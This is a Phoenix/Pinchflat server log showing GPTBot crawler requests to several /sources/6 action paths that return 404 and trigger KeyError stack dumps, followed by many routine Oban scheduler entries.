19:51:17.981 [debug] QUERY OK source="settings" db=0.4ms queue=0.8ms idle=753.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:17.986 [debug] QUERY OK source="settings" db=2.1ms queue=2.0ms idle=283.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:17.987 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:51:17.988 [error] #PID<0.4074.0> running PinchflatWeb.Endpoint (connection #PID<0.4073.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4073.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 62700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4074.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "74.7.243.200"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "333642300"} ], request_path: "/sources/6/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH9Lk_7qiOnY3PgAACOD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4073.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 62700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4073.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 62700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4074.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"via", "2.0 Caddy"}, {"x-fo (truncated) 19:51:22.335 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:27.188 [info] GET /sources/6/sync_files_on_disk 19:51:27.189 [debug] QUERY OK source="settings" db=0.7ms idle=1487.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:27.191 [debug] QUERY OK source="settings" db=1.0ms idle=1488.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:27.191 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:51:27.191 [error] #PID<0.4078.0> running PinchflatWeb.Endpoint (connection #PID<0.4077.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 47851}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4078.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "74.7.243.200"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "333642300"} ], request_path: "/sources/6/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH9LliTfzIgcwQ4AACti"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 47851}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 47851}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4078.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/ (truncated) 19:51:52.337 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:54.053 [info] GET /sources/6/force_redownload 19:51:54.056 [debug] QUERY OK source="settings" db=2.2ms idle=1353.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:54.056 [debug] QUERY OK source="settings" db=0.4ms idle=695.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:54.057 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:51:54.057 [error] #PID<0.4082.0> running PinchflatWeb.Endpoint (connection #PID<0.4081.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 48203}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4082.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "74.7.243.200"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "333642300"} ], request_path: "/sources/6/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH9LnGYosbq8cVEAACui"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 48203}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 48203}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4082.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, (truncated) 19:52:00.808 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:22.340 [info] {"source":"oban","duration":2256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:52.343 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.811 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:22.349 [info] {"source":"oban","duration":5397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:52.351 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.812 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:22.353 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:52.355 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.815 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:22.358 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:52.360 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.819 [info] {"source":"oban","duration":2889,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:22.365 [info] {"source":"oban","duration":3941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:52.367 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.820 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:22.370 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:52.372 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.821 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:22.378 [info] {"source":"oban","duration":3388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:52.380 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.826 [info] {"source":"oban","duration":2973,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:22.382 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:52.384 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.832 [info] {"source":"oban","duration":3688,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:22.387 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:52.389 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.835 [info] {"source":"oban","duration":2514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:22.391 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:52.395 [info] {"source":"oban","duration":2576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.839 [info] {"source":"oban","duration":2105,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:22.399 [info] {"source":"oban","duration":3033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:52.401 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.842 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:22.405 [info] {"source":"oban","duration":2815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:52.410 [info] {"source":"oban","duration":3755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.844 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:22.413 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:52.415 [info] {"source":"oban","duration":2405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.845 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:22.419 [info] {"source":"oban","duration":2588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:52.421 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.848 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:22.424 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:52.426 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.849 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:22.435 [info] {"source":"oban","duration":7654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:52.437 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.850 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:22.438 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:52.440 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.852 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:22.444 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:52.448 [info] {"source":"oban","duration":3440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 